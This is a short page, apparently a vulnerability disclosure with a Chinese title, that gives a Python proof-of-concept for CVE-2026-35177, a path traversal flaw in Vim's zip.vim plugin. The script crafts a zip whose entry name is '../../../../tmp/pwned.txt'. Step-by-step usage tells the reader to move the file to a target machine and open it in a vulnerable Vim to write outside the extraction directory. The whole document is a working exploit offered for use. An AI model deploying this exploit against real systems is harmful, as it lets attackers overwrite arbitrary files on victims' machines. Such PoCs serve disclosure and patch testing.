CVE-2026-35177 Vim路径遍历漏洞导致任意文件覆盖

import zipfile import os # Create a malicious zip file to demonstrate the path traversal # Vulnerability: CVE-2026-35177 (Vim zip.vim plugin) def create_exploit_zip(filename, payload_content): """ Creates a zip file containing a file with a path traversal name. """ with zipfile.ZipFile(filename, 'w') as zf: # Use a path traversal sequence to escape the extraction directory # This attempts to write to /tmp/pwned.txt traversal_name = "../../../../tmp/pwned.txt" # Write the payload to the zip file with the malicious name zf.writestr(traversal_name, payload_content) print(f"[+] Created exploit file: {filename}") print(f"[+] Payload intended path: {traversal_name}") if __name__ == "__main__": # Simple payload to verify the write payload = b"If you see this file, the traversal worked." create_exploit_zip("cve_2026_35177_poc.zip", payload) print("\nUsage:") print("1. Transfer 'cve_2026_35177_poc.zip' to the target machine.") print("2. Open the file using a vulnerable version of Vim: vim cve_2026_35177_poc.zip") print("3. Check /tmp/pwned.txt to confirm exploitation.")